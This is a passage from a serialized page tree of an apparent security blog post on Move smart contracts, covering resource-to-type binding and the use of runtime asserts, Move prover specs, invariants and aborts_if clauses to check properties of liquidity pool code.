get_price",{"type":22,"tag":101,"props":11546,"children":11547},{"style":120},[11548],{"type":27,"value":980},{"type":22,"tag":101,"props":11550,"children":11551},{"style":126},[11552],{"type":27,"value":11553},"type_info",{"type":22,"tag":101,"props":11555,"children":11556},{"style":166},[11557],{"type":27,"value":169},{"type":22,"tag":101,"props":11559,"children":11560},{"style":114},[11561],{"type":27,"value":11562}," TypeInfo",{"type":22,"tag":101,"props":11564,"children":11565},{"style":120},[11566],{"type":27,"value":2261},{"type":22,"tag":101,"props":11568,"children":11569},{"style":166},[11570],{"type":27,"value":169},{"type":22,"tag":101,"props":11572,"children":11573},{"style":114},[11574],{"type":27,"value":11575}," Decimal",{"type":22,"tag":101,"props":11577,"children":11578},{"style":126},[11579],{"type":27,"value":5829},{"type":22,"tag":101,"props":11581,"children":11582},{"style":114},[11583],{"type":27,"value":11584}," Oracle",{"type":22,"tag":101,"props":11586,"children":11587},{"style":120},[11588],{"type":27,"value":154},{"type":22,"tag":101,"props":11590,"children":11591},{"class":103,"line":182},[11592,11596,11601,11605,11609,11613,11618,11622,11627,11632],{"type":22,"tag":101,"props":11593,"children":11594},{"style":108},[11595],{"type":27,"value":3746},{"type":22,"tag":101,"props":11597,"children":11598},{"style":126},[11599],{"type":27,"value":11600}," oracle",{"type":22,"tag":101,"props":11602,"children":11603},{"style":166},[11604],{"type":27,"value":960},{"type":22,"tag":101,"props":11606,"children":11607},{"style":126},[11608],{"type":27,"value":4279},{"type":22,"tag":101,"props":11610,"children":11611},{"style":120},[11612],{"type":27,"value":123},{"type":22,"tag":101,"props":11614,"children":11615},{"style":114},[11616],{"type":27,"value":11617},"Oracle",{"type":22,"tag":101,"props":11619,"children":11620},{"style":120},[11621],{"type":27,"value":1618},{"type":22,"tag":101,"props":11623,"children":11624},{"style":166},[11625],{"type":27,"value":11626},"@",{"type":22,"tag":101,"props":11628,"children":11629},{"style":126},[11630],{"type":27,"value":11631},"oracle",{"type":22,"tag":101,"props":11633,"children":11634},{"style":120},[11635],{"type":27,"value":994},{"type":22,"tag":101,"props":11637,"children":11638},{"class":103,"line":367},[11639,11643,11648,11652,11657,11661,11666,11670,11675,11679,11684],{"type":22,"tag":101,"props":11640,"children":11641},{"style":108},[11642],{"type":27,"value":3746},{"type":22,"tag":101,"props":11644,"children":11645},{"style":126},[11646],{"type":27,"value":11647}," price",{"type":22,"tag":101,"props":11649,"children":11650},{"style":166},[11651],{"type":27,"value":960},{"type":22,"tag":101,"props":11653,"children":11654},{"style":120},[11655],{"type":27,"value":11656}," table",{"type":22,"tag":101,"props":11658,"children":11659},{"style":166},[11660],{"type":27,"value":970},{"type":22,"tag":101,"props":11662,"children":11663},{"style":126},[11664],{"type":27,"value":11665},"borrow_mut_with_default",{"type":22,"tag":101,"props":11667,"children":11668},{"style":120},[11669],{"type":27,"value":123},{"type":22,"tag":101,"props":11671,"children":11672},{"style":114},[11673],{"type":27,"value":11674},"TypeInfo",{"type":22,"tag":101,"props":11676,"children":11677},{"style":120},[11678],{"type":27,"value":758},{"type":22,"tag":101,"props":11680,"children":11681},{"style":114},[11682],{"type":27,"value":11683},"Decimal",{"type":22,"tag":101,"props":11685,"children":11686},{"style":120},[11687],{"type":27,"value":853},{"type":22,"tag":101,"props":11689,"children":11690},{"class":103,"line":398},[11691,11696,11700,11704,11708],{"type":22,"tag":101,"props":11692,"children":11693},{"style":166},[11694],{"type":27,"value":11695}," &",{"type":22,"tag":101,"props":11697,"children":11698},{"style":108},[11699],{"type":27,"value":7760},{"type":22,"tag":101,"props":11701,"children":11702},{"style":126},[11703],{"type":27,"value":11600},{"type":22,"tag":101,"props":11705,"children":11706},{"style":166},[11707],{"type":27,"value":231},{"type":22,"tag":101,"props":11709,"children":11710},{"style":120},[11711],{"type":27,"value":11712},"prices,\n",{"type":22,"tag":101,"props":11714,"children":11715},{"class":103,"line":428},[11716,11721],{"type":22,"tag":101,"props":11717,"children":11718},{"style":126},[11719],{"type":27,"value":11720}," type_info",{"type":22,"tag":101,"props":11722,"children":11723},{"style":120},[11724],{"type":27,"value":179},{"type":22,"tag":101,"props":11726,"children":11727},{"class":103,"line":997},[11728,11733,11737,11742],{"type":22,"tag":101,"props":11729,"children":11730},{"style":120},[11731],{"type":27,"value":11732}," decimal",{"type":22,"tag":101,"props":11734,"children":11735},{"style":166},[11736],{"type":27,"value":970},{"type":22,"tag":101,"props":11738,"children":11739},{"style":926},[11740],{"type":27,"value":11741},"one",{"type":22,"tag":101,"props":11743,"children":11744},{"style":120},[11745],{"type":27,"value":11746},"()\n",{"type":22,"tag":101,"props":11748,"children":11749},{"class":103,"line":1032},[11750],{"type":22,"tag":101,"props":11751,"children":11752},{"style":120},[11753],{"type":27,"value":3738},{"type":22,"tag":101,"props":11755,"children":11756},{"class":103,"line":1063},[11757,11762],{"type":22,"tag":101,"props":11758,"children":11759},{"style":166},[11760],{"type":27,"value":11761}," *",{"type":22,"tag":101,"props":11763,"children":11764},{"style":126},[11765],{"type":27,"value":11766},"price\n",{"type":22,"tag":101,"props":11768,"children":11769},{"class":103,"line":1071},[11770],{"type":22,"tag":101,"props":11771,"children":11772},{"style":120},[11773],{"type":27,"value":1734},{"type":22,"tag":23,"props":11775,"children":11776},{},[11777,11779,11784],{"type":27,"value":11778},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":22,"tag":6961,"props":11780,"children":11781},{},[11782],{"type":27,"value":11783},"instance",{"type":27,"value":11785}," of another resource (which is possible in Diem style move).",{"type":22,"tag":23,"props":11787,"children":11788},{},[11789],{"type":27,"value":11790},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":22,"tag":6828,"props":11792,"children":11793},{},[11794,11799],{"type":22,"tag":6832,"props":11795,"children":11796},{},[11797],{"type":27,"value":11798},"Have unique initializers for your resources",{"type":22,"tag":6832,"props":11800,"children":11801},{},[11802],{"type":27,"value":11803},"Associate resources with instances directly",{"type":22,"tag":53,"props":11805,"children":11807},{"id":11806},"formal-verification",[11808],{"type":27,"value":11809},"Formal Verification",{"type":22,"tag":23,"props":11811,"children":11812},{},[11813],{"type":27,"value":11814},"Formal verification is another exciting feature.",{"type":22,"tag":23,"props":11816,"children":11817},{},[11818],{"type":27,"value":11819},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":22,"tag":23,"props":11821,"children":11822},{},[11823,11825,11830],{"type":27,"value":11824},"However, this isn't a silver bullet. The key is figuring out ",{"type":22,"tag":6961,"props":11826,"children":11827},{},[11828],{"type":27,"value":11829},"what",{"type":27,"value":11831}," to prove.",{"type":22,"tag":23,"props":11833,"children":11834},{},[11835,11837,11844],{"type":27,"value":11836},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":22,"tag":80,"props":11838,"children":11841},{"href":11839,"rel":11840},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[84],[11842],{"type":27,"value":11843},"Solana AMM rounding issue",{"type":27,"value":11845}," we reported.",{"type":22,"tag":23,"props":11847,"children":11848},{},[11849],{"type":27,"value":11850},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":22,"tag":91,"props":11852,"children":11854},{"className":93,"code":11853,"language":95,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[11855],{"type":22,"tag":30,"props":11856,"children":11857},{"__ignoreMap":7},[11858,11919],{"type":22,"tag":101,"props":11859,"children":11860},{"class":103,"line":104},[11861,11866,11871,11875,11880,11884,11889,11893,11897,11902,11906,11910,11915],{"type":22,"tag":101,"props":11862,"children":11863},{"style":108},[11864],{"type":27,"value":11865}," let",{"type":22,"tag":101,"props":11867,"children":11868},{"style":126},[11869],{"type":27,"value":11870}," cmp",{"type":22,"tag":101,"props":11872,"children":11873},{"style":166},[11874],{"type":27,"value":960},{"type":22,"tag":101,"props":11876,"children":11877},{"style":120},[11878],{"type":27,"value":11879}," u256",{"type":22,"tag":101,"props":11881,"children":11882},{"style":166},[11883],{"type":27,"value":970},{"type":22,"tag":101,"props":11885,"children":11886},{"style":926},[11887],{"type":27,"value":11888},"compare",{"type":22,"tag":101,"props":11890,"children":11891},{"style":120},[11892],{"type":27,"value":980},{"type":22,"tag":101,"props":11894,"children":11895},{"style":166},[11896],{"type":27,"value":985},{"type":22,"tag":101,"props":11898,"children":11899},{"style":126},[11900],{"type":27,"value":11901},"lp_value_after_swap_and_fee",{"type":22,"tag":101,"props":11903,"children":11904},{"style":120},[11905],{"type":27,"value":758},{"type":22,"tag":101,"props":11907,"children":11908},{"style":166},[11909],{"type":27,"value":985},{"type":22,"tag":101,"props":11911,"children":11912},{"style":126},[11913],{"type":27,"value":11914},"lp_value_before_swap_u256",{"type":22,"tag":101,"props":11916,"children":11917},{"style":120},[11918],{"type":27,"value":994},{"type":22,"tag":101,"props":11920,"children":11921},{"class":103,"line":157},[11922,11927,11931,11936,11940,11945],{"type":22,"tag":101,"props":11923,"children":11924},{"style":926},[11925],{"type":27,"value":11926}," assert!",{"type":22,"tag":101,"props":11928,"children":11929},{"style":120},[11930],{"type":27,"value":980},{"type":22,"tag":101,"props":11932,"children":11933},{"style":126},[11934],{"type":27,"value":11935},"cmp",{"type":22,"tag":101,"props":11937,"children":11938},{"style":166},[11939],{"type":27,"value":1541},{"type":22,"tag":101,"props":11941,"children":11942},{"style":1544},[11943],{"type":27,"value":11944}," 2",{"type":22,"tag":101,"props":11946,"children":11947},{"style":120},[11948],{"type":27,"value":11949},", ERR_INCORRECT_SWAP);\n",{"type":22,"tag":23,"props":11951,"children":11952},{},[11953,11955,11960],{"type":27,"value":11954},"The move prover really shines when we're proving relationships ",{"type":22,"tag":6961,"props":11956,"children":11957},{},[11958],{"type":27,"value":11959},"between",{"type":27,"value":11961}," functions.",{"type":22,"tag":23,"props":11963,"children":11964},{},[11965,11967,11973],{"type":27,"value":11966},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":22,"tag":30,"props":11968,"children":11970},{"className":11969},[],[11971],{"type":27,"value":11972},"no_free_money_theorem",{"type":27,"value":11974}," in the move repository.",{"type":22,"tag":91,"props":11976,"children":11978},{"className":93,"code":11977,"language":95,"meta":7,"style":7}," // #[test] // TODO: cannot specify the test-only functions\n fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n let share = add_liquidity(coin1_in, coin2_in);\n remove_liquidity(share)\n }\n spec no_free_money_theorem {\n pragma verify=false;\n ensures result_1 \u003C= coin1_in;\n ensures result_2 \u003C= coin2_in;\n }\n",[11979],{"type":22,"tag":30,"props":11980,"children":11981},{"__ignoreMap":7},[11982,11990,12078,12120,12141,12148,12164,12189,12216,12241],{"type":22,"tag":101,"props":11983,"children":11984},{"class":103,"line":104},[11985],{"type":22,"tag":101,"props":11986,"children":11987},{"style":2215},[11988],{"type":27,"value":11989}," // #[test] // TODO: cannot specify the test-only functions\n",{"type":22,"tag":101,"props":11991,"children":11992},{"class":103,"line":157},[11993,11997,12002,12006,12011,12015,12019,12023,12028,12032,12036,12040,12044,12048,12053,12057,12061,12065,12069,12074],{"type":22,"tag":101,"props":11994,"children":11995},{"style":126},[11996],{"type":27,"value":10597},{"type":22,"tag":101,"props":11998,"children":11999},{"style":926},[12000],{"type":27,"value":12001}," no_free_money_theorem",{"type":22,"tag":101,"props":12003,"children":12004},{"style":120},[12005],{"type":27,"value":980},{"type":22,"tag":101,"props":12007,"children":12008},{"style":126},[12009],{"type":27,"value":12010},"coin1_in",{"type":22,"tag":101,"props":12012,"children":12013},{"style":166},[12014],{"type":27,"value":169},{"type":22,"tag":101,"props":12016,"children":12017},{"style":114},[12018],{"type":27,"value":174},{"type":22,"tag":101,"props":12020,"children":12021},{"style":120},[12022],{"type":27,"value":758},{"type":22,"tag":101,"props":12024,"children":12025},{"style":126},[12026],{"type":27,"value":12027},"coin2_in",{"type":22,"tag":101,"props":12029,"children":12030},{"style":166},[12031],{"type":27,"value":169},{"type":22,"tag":101,"props":12033,"children":12034},{"style":114},[12035],{"type":27,"value":174},{"type":22,"tag":101,"props":12037,"children":12038},{"style":120},[12039],{"type":27,"value":2261},{"type":22,"tag":101,"props":12041,"children":12042},{"style":166},[12043],{"type":27,"value":169},{"type":22,"tag":101,"props":12045,"children":12046},{"style":120},[12047],{"type":27,"value":3603},{"type":22,"tag":101,"props":12049,"children":12050},{"style":114},[12051],{"type":27,"value":12052},"u64",{"type":22,"tag":101,"props":12054,"children":12055},{"style":120},[12056],{"type":27,"value":758},{"type":22,"tag":101,"props":12058,"children":12059},{"style":114},[12060],{"type":27,"value":12052},{"type":22,"tag":101,"props":12062,"children":12063},{"style":120},[12064],{"type":27,"value":901},{"type":22,"tag":101,"props":12066,"children":12067},{"style":126},[12068],{"type":27,"value":906},{"type":22,"tag":101,"props":12070,"children":12071},{"style":114},[12072],{"type":27,"value":12073}," Pool",{"type":22,"tag":101,"props":12075,"children":12076},{"style":120},[12077],{"type":27,"value":154},{"type":22,"tag":101,"props":12079,"children":12080},{"class":103,"line":182},[12081,12086,12091,12095,12100,12104,12108,12112,12116],{"type":22,"tag":101,"props":12082,"children":12083},{"style":108},[12084],{"type":27,"value":12085}," let",{"type":22,"tag":101,"props":12087,"children":12088},{"style":126},[12089],{"type":27,"value":12090}," share",{"type":22,"tag":101,"props":12092,"children":12093},{"style":166},[12094],{"type":27,"value":960},{"type":22,"tag":101,"props":12096,"children":12097},{"style":926},[12098],{"type":27,"value":12099}," add_liquidity",{"type":22,"tag":101,"props":12101,"children":12102},{"style":120},[12103],{"type":27,"value":980},{"type":22,"tag":101,"props":12105,"children":12106},{"style":126},[12107],{"type":27,"value":12010},{"type":22,"tag":101,"props":12109,"children":12110},{"style":120},[12111],{"type":27,"value":758},{"type":22,"tag":101,"props":12113,"children":12114},{"style":126},[12115],{"type":27,"value":12027},{"type":22,"tag":101,"props":12117,"children":12118},{"style":120},[12119],{"type":27,"value":994},{"type":22,"tag":101,"props":12121,"children":12122},{"class":103,"line":367},[12123,12128,12132,12137],{"type":22,"tag":101,"props":12124,"children":12125},{"style":926},[12126],{"type":27,"value":12127}," remove_liquidity",{"type":22,"tag":101,"props":12129,"children":12130},{"style":120},[12131],{"type":27,"value":980},{"type":22,"tag":101,"props":12133,"children":12134},{"style":126},[12135],{"type":27,"value":12136},"share",{"type":22,"tag":101,"props":12138,"children":12139},{"style":120},[12140],{"type":27,"value":2510},{"type":22,"tag":101,"props":12142,"children":12143},{"class":103,"line":398},[12144],{"type":22,"tag":101,"props":12145,"children":12146},{"style":120},[12147],{"type":27,"value":9908},{"type":22,"tag":101,"props":12149,"children":12150},{"class":103,"line":428},[12151,12156,12160],{"type":22,"tag":101,"props":12152,"children":12153},{"style":126},[12154],{"type":27,"value":12155}," spec",{"type":22,"tag":101,"props":12157,"children":12158},{"style":126},[12159],{"type":27,"value":12001},{"type":22,"tag":101,"props":12161,"children":12162},{"style":120},[12163],{"type":27,"value":154},{"type":22,"tag":101,"props":12165,"children":12166},{"class":103,"line":997},[12167,12172,12177,12181,12185],{"type":22,"tag":101,"props":12168,"children":12169},{"style":126},[12170],{"type":27,"value":12171}," pragma",{"type":22,"tag":101,"props":12173,"children":12174},{"style":126},[12175],{"type":27,"value":12176}," verify",{"type":22,"tag":101,"props":12178,"children":12179},{"style":166},[12180],{"type":27,"value":1511},{"type":22,"tag":101,"props":12182,"children":12183},{"style":108},[12184],{"type":27,"value":5644},{"type":22,"tag":101,"props":12186,"children":12187},{"style":120},[12188],{"type":27,"value":1520},{"type":22,"tag":101,"props":12190,"children":12191},{"class":103,"line":1032},[12192,12197,12202,12207,12212],{"type":22,"tag":101,"props":12193,"children":12194},{"style":126},[12195],{"type":27,"value":12196}," ensures",{"type":22,"tag":101,"props":12198,"children":12199},{"style":126},[12200],{"type":27,"value":12201}," result_1",{"type":22,"tag":101,"props":12203,"children":12204},{"style":166},[12205],{"type":27,"value":12206}," \u003C=",{"type":22,"tag":101,"props":12208,"children":12209},{"style":126},[12210],{"type":27,"value":12211}," coin1_in",{"type":22,"tag":101,"props":12213,"children":12214},{"style":120},[12215],{"type":27,"value":1520},{"type":22,"tag":101,"props":12217,"children":12218},{"class":103,"line":1063},[12219,12223,12228,12232,12237],{"type":22,"tag":101,"props":12220,"children":12221},{"style":126},[12222],{"type":27,"value":12196},{"type":22,"tag":101,"props":12224,"children":12225},{"style":126},[12226],{"type":27,"value":12227}," result_2",{"type":22,"tag":101,"props":12229,"children":12230},{"style":166},[12231],{"type":27,"value":12206},{"type":22,"tag":101,"props":12233,"children":12234},{"style":126},[12235],{"type":27,"value":12236}," coin2_in",{"type":22,"tag":101,"props":12238,"children":12239},{"style":120},[12240],{"type":27,"value":1520},{"type":22,"tag":101,"props":12242,"children":12243},{"class":103,"line":1071},[12244],{"type":22,"tag":101,"props":12245,"children":12246},{"style":120},[12247],{"type":27,"value":9908},{"type":22,"tag":23,"props":12249,"children":12250},{},[12251],{"type":27,"value":12252},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":22,"tag":23,"props":12254,"children":12255},{},[12256,12258,12263],{"type":27,"value":12257},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":22,"tag":6961,"props":12259,"children":12260},{},[12261],{"type":27,"value":12262},"lot",{"type":27,"value":12264}," easier to reason about the protocol.",{"type":22,"tag":23,"props":12266,"children":12267},{},[12268],{"type":27,"value":12269},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":22,"tag":91,"props":12271,"children":12273},{"className":93,"code":12272,"language":95,"meta":7,"style":7},"spec PoolState {\n invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[12274],{"type":22,"tag":30,"props":12275,"children":12276},{"__ignoreMap":7},[12277,12294,12317],{"type":22,"tag":101,"props":12278,"children":12279},{"class":103,"line":104},[12280,12285,12290],{"type":22,"tag":101,"props":12281,"children":12282},{"style":126},[12283],{"type":27,"value":12284},"spec",{"type":22,"tag":101,"props":12286,"children":12287},{"style":114},[12288],{"type":27,"value":12289}," PoolState",{"type":22,"tag":101,"props":12291,"children":12292},{"style":120},[12293],{"type":27,"value":154},{"type":22,"tag":101,"props":12295,"children":12296},{"class":103,"line":157},[12297,12302,12307,12312],{"type":22,"tag":101,"props":12298,"children":12299},{"style":126},[12300],{"type":27,"value":12301}," invariant",{"type":22,"tag":101,"props":12303,"children":12304},{"style":126},[12305],{"type":27,"value":12306}," supply",{"type":22,"tag":101,"props":12308,"children":12309},{"style":166},[12310],{"type":27,"value":12311}," >=",{"type":22,"tag":101,"props":12313,"children":12314},{"style":120},[12315],{"type":27,"value":12316}," MINIMUM_LIQUIDITY;\n",{"type":22,"tag":101,"props":12318,"children":12319},{"class":103,"line":182},[12320],{"type":22,"tag":101,"props":12321,"children":12322},{"style":120},[12323],{"type":27,"value":188},{"type":22,"tag":23,"props":12325,"children":12326},{},[12327,12329,12335,12337,12343],{"type":27,"value":12328},"Another useful pattern for the Move prover is ",{"type":22,"tag":30,"props":12330,"children":12332},{"className":12331},[],[12333],{"type":27,"value":12334},"aborts_if",{"type":27,"value":12336},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":22,"tag":30,"props":12338,"children":12340},{"className":12339},[],[12341],{"type":27,"value":12342},"aborts_if false",{"type":27,"value":231},{"type":22,"tag":23,"props":12345,"children":12346},{},[12347],{"type":27,"value":12348},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":22,"tag":91,"props":12350,"children":12352},{"className":93,"code":12351,"language":95,"meta":7,"style":7}," fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n let amounts_times_coins = vector::empty\u003Cu128>();\n let i = 0;\n let n_coins = vector::length(&input);\n while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n spec {\n assert i == n_coins;\n assert len(input) == n_coins;\n };\n amounts_times_coins\n }\n spec multiply_vec_by_n_coins {\n pragma opaque;\n aborts_if false;\n ensures len(result) == len(input);\n ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n }\n",[12353],{"type":22,"tag":30,"props":12354,"children":12355},{"__ignoreMap":7},[12356,12419,12460,12483,12528,12541,12553,12591,12614,12702,12710,12735,12743,12764,12784,12884,12892,12920,12928,12940,12964,12999,13006,13014,13021,13036,13052,13070,13115,13221],{"type":22,"tag":101,"props":12357,"children":12358},{"class":103,"line":104},[12359,12363,12368,12372,12377,12381,12386,12390,12394,12398,12402,12406,12410,12415],{"type":22,"tag":101,"props":12360,"children":12361},{"style":126},[12362],{"type":27,"value":10597},{"type":22,"tag":101,"props":12364,"children":12365},{"style":926},[12366],{"type":27,"value":12367}," multiply_vec_by_n_coins",{"type":22,"tag":101,"props":12369,"children":12370},{"style":120},[12371],{"type":27,"value":980},{"type":22,"tag":101,"props":12373,"children":12374},{"style":126},[12375],{"type":27,"value":12376},"input",{"type":22,"tag":101,"props":12378,"children":12379},{"style":166},[12380],{"type":27,"value":169},{"type":22,"tag":101,"props":12382,"children":12383},{"style":126},[12384],{"type":27,"value":12385}," vector",{"type":22,"tag":101,"props":12387,"children":12388},{"style":120},[12389],{"type":27,"value":123},{"type":22,"tag":101,"props":12391,"children":12392},{"style":114},[12393],{"type":27,"value":12052},{"type":22,"tag":101,"props":12395,"children":12396},{"style":120},[12397],{"type":27,"value":1643},{"type":22,"tag":101,"props":12399,"children":12400},{"style":166},[12401],{"type":27,"value":169},{"type":22,"tag":101,"props":12403,"children":12404},{"style":126},[12405],{"type":27,"value":12385},{"type":22,"tag":101,"props":12407,"children":12408},{"style":120},[12409],{"type":27,"value":123},{"type":22,"tag":101,"props":12411,"children":12412},{"style":114},[12413],{"type":27,"value":12414},"u128",{"type":22,"tag":101,"props":12416,"children":12417},{"style":120},[12418],{"type":27,"value":2282},{"type":22,"tag":101,"props":12420,"children":12421},{"class":103,"line":157},[12422,12426,12431,12435,12439,12443,12448,12452,12456],{"type":22,"tag":101,"props":12423,"children":12424},{"style":108},[12425],{"type":27,"value":12085},{"type":22,"tag":101,"props":12427,"children":12428},{"style":126},[12429],{"type":27,"value":12430}," amounts_times_coins",{"type":22,"tag":101,"props":12432,"children":12433},{"style":166},[12434],{"type":27,"value":960},{"type":22,"tag":101,"props":12436,"children":12437},{"style":120},[12438],{"type":27,"value":12385},{"type":22,"tag":101,"props":12440,"children":12441},{"style":166},[12442],{"type":27,"value":970},{"type":22,"tag":101,"props":12444,"children":12445},{"style":126},[12446],{"type":27,"value":12447},"empty",{"type":22,"tag":101,"props":12449,"children":12450},{"style":120},[12451],{"type":27,"value":123},{"type":22,"tag":101,"props":12453,"children":12454},{"style":114},[12455],{"type":27,"value":12414},{"type":22,"tag":101,"props":12457,"children":12458},{"style":120},[12459],{"type":27,"value":6184},{"type":22,"tag":101,"props":12461,"children":12462},{"class":103,"line":182},[12463,12467,12471,12475,12479],{"type":22,"tag":101,"props":12464,"children":12465},{"style":108},[12466],{"type":27,"value":12085},{"type":22,"tag":101,"props":12468,"children":12469},{"style":126},[12470],{"type":27,"value":7435},{"type":22,"tag":101,"props":12472,"children":12473},{"style":166},[12474],{"type":27,"value":960},{"type":22,"tag":101,"props":12476,"children":12477},{"style":1544},[12478],{"type":27,"value":1547},{"type":22,"tag":101,"props":12480,"children":12481},{"style":120},[12482],{"type":27,"value":1520},{"type":22,"tag":101,"props":12484,"children":12485},{"class":103,"line":367},[12486,12490,12495,12499,12503,12507,12512,12516,12520,12524],{"type":22,"tag":101,"props":12487,"children":12488},{"style":108},[12489],{"type":27,"value":12085},{"type":22,"tag":101,"props":12491,"children":12492},{"style":126},[12493],{"type":27,"value":12494}," n_coins",{"type":22,"tag":101,"props":12496,"children":12497},{"style":166},[12498],{"type":27,"value":960},{"type":22,"tag":101,"props":12500,"children":12501},{"style":120},[12502],{"type":27,"value":12385},{"type":22,"tag":101,"props":12504,"children":12505},{"style":166},[12506],{"type":27,"value":970},{"type":22,"tag":101,"props":12508,"children":12509},{"style":926},[12510],{"type":27,"value":12511},"length",{"type":22,"tag":101,"props":12513,"children":12514},{"style":120},[12515],{"type":27,"value":980},{"type":22,"tag":101,"props":12517,"children":12518},{"style":166},[12519],{"type":27,"value":985},{"type":22,"tag":101,"props":12521,"children":12522},{"style":126},[12523],{"type":27,"value":12376},{"type":22,"tag":101,"props":12525,"children":12526},{"style":120},[12527],{"type":27,"value":994},{"type":22,"tag":101,"props":12529,"children":12530},{"class":103,"line":398},[12531,12536],{"type":22,"tag":101,"props":12532,"children":12533},{"style":3595},[12534],{"type":27,"value":12535}," while",{"type":22,"tag":101,"props":12537,"children":12538},{"style":120},[12539],{"type":27,"value":12540}," ({\n",{"type":22,"tag":101,"props":12542,"children":12543},{"class":103,"line":428},[12544,12549],{"type":22,"tag":101,"props":12545,"children":12546},{"style":126},[12547],{"type":27,"value":12548}," spec",{"type":22,"tag":101,"props":12550,"children":12551},{"style":120},[12552],{"type":27,"value":154},{"type":22,"tag":101,"props":12554,"children":12555},{"class":103,"line":997},[12556,12561,12566,12570,12575,12579,12583,12587],{"type":22,"tag":101,"props":12557,"children":12558},{"style":126},[12559],{"type":27,"value":12560}," invariant",{"type":22,"tag":101,"props":12562,"children":12563},{"style":926},[12564],{"type":27,"value":12565}," len",{"type":22,"tag":101,"props":12567,"children":12568},{"style":120},[12569],{"type":27,"value":980},{"type":22,"tag":101,"props":12571,"children":12572},{"style":126},[12573],{"type":27,"value":12574},"amounts_times_coins",{"type":22,"tag":101,"props":12576,"children":12577},{"style":120},[12578],{"type":27,"value":901},{"type":22,"tag":101,"props":12580,"children":12581},{"style":166},[12582],{"type":27,"value":4340},{"type":22,"tag":101,"props":12584,"children":12585},{"style":126},[12586],{"type":27,"value":7435},{"type":22,"tag":101,"props":12588,"children":12589},{"style":120},[12590],{"type":27,"value":1520},{"type":22,"tag":101,"props":12592,"children":12593},{"class":103,"line":1032},[12594,12598,12602,12606,12610],{"type":22,"tag":101,"props":12595,"children":12596},{"style":126},[12597],{"type":27,"value":12560},{"type":22,"tag":101,"props":12599,"children":12600},{"style":126},[12601],{"type":27,"value":7435},{"type":22,"tag":101,"props":12603,"children":12604},{"style":166},[12605],{"type":27,"value":12206},{"type":22,"tag":101,"props":12607,"children":12608},{"style":126},[12609],{"type":27,"value":12494},{"type":22,"tag":101,"props":12611,"children":12612},{"style":120},[12613],{"type":27,"value":1520},{"type":22,"tag":101,"props":12615,"children":12616},{"class":103,"line":1063},[12617,12621,12626,12631,12635,12639,12643,12647,12651,12655,12659,12664,12669,12673,12678,12682,12686,12690,12694,12698],{"type":22,"tag":101,"props":12618,"children":12619},{"style":126},[12620],{"type":27,"value":12560},{"type":22,"tag":101,"props":12622,"children":12623},{"style":126},[12624],{"type":27,"value":12625}," forall",{"type":22,"tag":101,"props":12627,"children":12628},{"style":126},[12629],{"type":27,"value":12630}," j",{"type":22,"tag":101,"props":12632,"children":12633},{"style":108},[12634],{"type":27,"value":7087},{"type":22,"tag":101,"props":12636,"children":12637},{"style":1544},[12638],{"type":27,"value":1547},{"type":22,"tag":101,"props":12640,"children":12641},{"style":166},[12642],{"type":27,"value":7096},{"type":22,"tag":101,"props":12644,"children":12645},{"style":126},[12646],{"type":27,"value":7774},{"type":22,"tag":101,"props":12648,"children":12649},{"style":166},[12650],{"type":27,"value":169},{"type":22,"tag":101,"props":12652,"children":12653},{"style":126},[12654],{"type":27,"value":12430},{"type":22,"tag":101,"props":12656,"children":12657},{"style":120},[12658],{"type":27,"value":2414},{"type":22,"tag":101,"props":12660,"children":12661},{"style":126},[12662],{"type":27,"value":12663},"j",{"type":22,"tag":101,"props":12665,"children":12666},{"style":120},[12667],{"type":27,"value":12668},"] ",{"type":22,"tag":101,"props":12670,"children":12671},{"style":166},[12672],{"type":27,"value":4340},{"type":22,"tag":101,"props":12674,"children":12675},{"style":126},[12676],{"type":27,"value":12677}," input",{"type":22,"tag":101,"props":12679,"children":12680},{"style":120},[12681],{"type":27,"value":2414},{"type":22,"tag":101,"props":12683,"children":12684},{"style":126},[12685],{"type":27,"value":12663},{"type":22,"tag":101,"props":12687,"children":12688},{"style":120},[12689],{"type":27,"value":12668},{"type":22,"tag":101,"props":12691,"children":12692},{"style":166},[12693],{"type":27,"value":8615},{"type":22,"tag":101,"props":12695,"children":12696},{"style":126},[12697],{"type":27,"value":12494},{"type":22,"tag":101,"props":12699,"children":12700},{"style":120},[12701],{"type":27,"value":1520},{"type":22,"tag":101,"props":12703,"children":12704},{"class":103,"line":1071},[12705],{"type":22,"tag":101,"props":12706,"children":12707},{"style":120},[12708],{"type":27,"value":12709}," };\n",{"type":22,"tag":101,"props":12711,"children":12712},{"class":103,"line":1110},[12713,12718,12722,12727,12731],{"type":22,"tag":101,"props":12714,"children":12715},{"style":120},[12716],{"type":27,"value":12717}," (",{"type":22,"tag":101,"props":12719,"children":12720},{"style":126},[12721],{"type":27,"value":7774},{"type":22,"tag":101,"props":12723,"children":12724},{"style":166},[12725],{"type":27,"value":12726}," 